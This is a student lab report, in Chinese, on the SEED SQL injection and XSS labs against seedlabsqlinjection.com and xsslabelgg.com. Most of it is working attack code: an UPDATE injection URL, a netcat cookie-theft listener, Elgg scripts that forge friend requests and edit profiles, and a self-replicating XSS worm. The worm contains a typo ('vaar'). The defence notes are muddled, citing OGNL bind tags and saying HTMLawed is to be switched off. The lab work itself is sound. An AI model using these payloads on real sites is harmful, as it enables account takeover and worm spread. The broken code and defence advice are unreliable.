一、实验内容
1.SEED SQL注入攻击与防御实验
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击,修复上述SQL注入攻击漏洞。
2.SEED XSS跨站脚本攻击实验
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
二、实验过程
1.SQL注入攻击
sql基本操作
登陆MySql数据库
看看用户信息
sql注入,修改数据
通过文件可以看出该sql语句只执行查找姓名的功能
登陆进去,通过文件里的内容更新代码来修改数据,将代码粘贴到nikaname处
http://www.seedlabsqlinjection.com/unsafe_edit_backend.php?NickName=',salary='20232812' where Name='Ted';--+
修改成功
sql注入防御
可以通过safe文件内的bind方法预防SQL注入
bind标签可以使用OGNL表达式创建一个变量并将其绑定到上下文中
2.XSS
基础操作
做一个基础弹窗弹出学号
弹出cookie
获取受害者cookie
窃取受害者cookie,在终端使用命令nc -l 5555 -v进行端口监听
get后就是监听到的信息
受害者访问加好友
加好友后f12查看运行的get命令
查看到结构
请求的方式是POST,请求地址的第一个参数是朋友的地址,第二个参数是当前时间,请求地址的第三个参数是一个身份验证
编写访问自动加好友的脚本
<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}</script>
未加好友的情况下,访问alice页面就自动加上好友
受害者访问被修改数据
到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/profile/edit,请求地址的第一个参数是验证,请求地址的第二个参数是当前时间,请求地址的第三个参数是&__name=elgg.session.user.name
可以根据上一个分析编写受害者修改信息代码
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by 20232812.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}</script>
访问后被修改为相应数据
编写XSS蠕虫
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
vaar userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>20232812"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}</script>
点击访问就会被感染
对抗xss
在管理员页面关闭HTMLawed
这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。
攻击者代码直接展现出来并失效